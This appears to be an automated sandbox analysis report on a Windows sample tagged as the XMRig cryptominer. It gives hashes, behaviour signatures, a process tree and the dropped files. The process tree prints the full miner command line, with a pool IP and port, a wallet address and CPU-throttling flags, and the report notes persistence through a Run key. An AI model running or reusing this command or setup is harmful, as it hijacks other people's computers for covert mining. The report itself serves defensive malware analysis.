Overview

overview

10

Static

static

3

file.exe

windows10-2004-x64

10

file.exe

windows11-ltsc_2024-x64

10

Analysis

  • max time kernel
    149s
  • max time network
    147s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    13/08/2026, 01:01

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General

  • Target
    file.exe
  • Size 12KB
  • Sample260813-bda7esydna
  • SHA256 04168e3872a815ace4f4c59a787ef0d10782df4b2111d46d899b10eade942f80
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
10/10
discoveryexecutionxmrigminerpersistence

Malware Config

Signatures

  • Family: xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

    minerxmrig
  • XMRig Miner payload 2 IoCs
    miner
  • Downloads MZ/PE file 1 IoCs
  • Executes dropped EXE 3 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
    persistence
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 1 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

    execution
  • System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Downloads MZ/PE file
    • Adds Run key to start application
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:5776
    • C:\Users\Admin\sysmgnrsv.exe
      C:\Users\Admin\sysmgnrsv.exe
      2⤵
      • Executes dropped EXE
      PID:3960
    • C:\sysdropfa.exe
      \sysdropfa.exe
      2⤵
      • Executes dropped EXE
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:2120
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /c C:\Users\Admin\sysmgnrsv.exe -o 15.204.176.145:5050 -u 48yqMJuUL5jNEmuSaX9WHbGSeF38D2ZrvPTK4nRKap2Y4EkbTyPS1kcLWt1C6FrNcfiqEbXC439hPAQePKzY7D38EskqGV1 -p x --cpu-priority=5 --threads=2 --max-cpu-usage=25
        3⤵
        • Executes a command shell one-liner
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:5436
        • C:\Users\Admin\sysmgnrsv.exe
          C:\Users\Admin\sysmgnrsv.exe -o 15.204.176.145:5050 -u 48yqMJuUL5jNEmuSaX9WHbGSeF38D2ZrvPTK4nRKap2Y4EkbTyPS1kcLWt1C6FrNcfiqEbXC439hPAQePKzY7D38EskqGV1 -p x --cpu-priority=5 --threads=2 --max-cpu-usage=25
          4⤵
          • Executes dropped EXE
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of FindShellTrayWindow
          PID:3492
  • C:\Windows\system32\svchost.exe
    C:\Windows\system32\svchost.exe -k GPSvcGroup
    1⤵
      PID:3940

    Network

          MITRE ATT&CK Enterprise v16

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          Downloads

          sysmgnrsv.exe
          • Path C:\Users\Admin\sysmgnrsv.exe
          • Size 6.2MB
          • SHA256 001816f728d96a823a88e8243cba32486ff0207c123628fa767073bb4a49cd6e
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          sysdropfa.exe
          • Path C:\sysdropfa.exe
          • Size 12KB
          • SHA256 04168e3872a815ace4f4c59a787ef0d10782df4b2111d46d899b10eade942f80
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          memory/3960-7-0x000001229F140000-0x000001229F160000-memory.dmp
          Download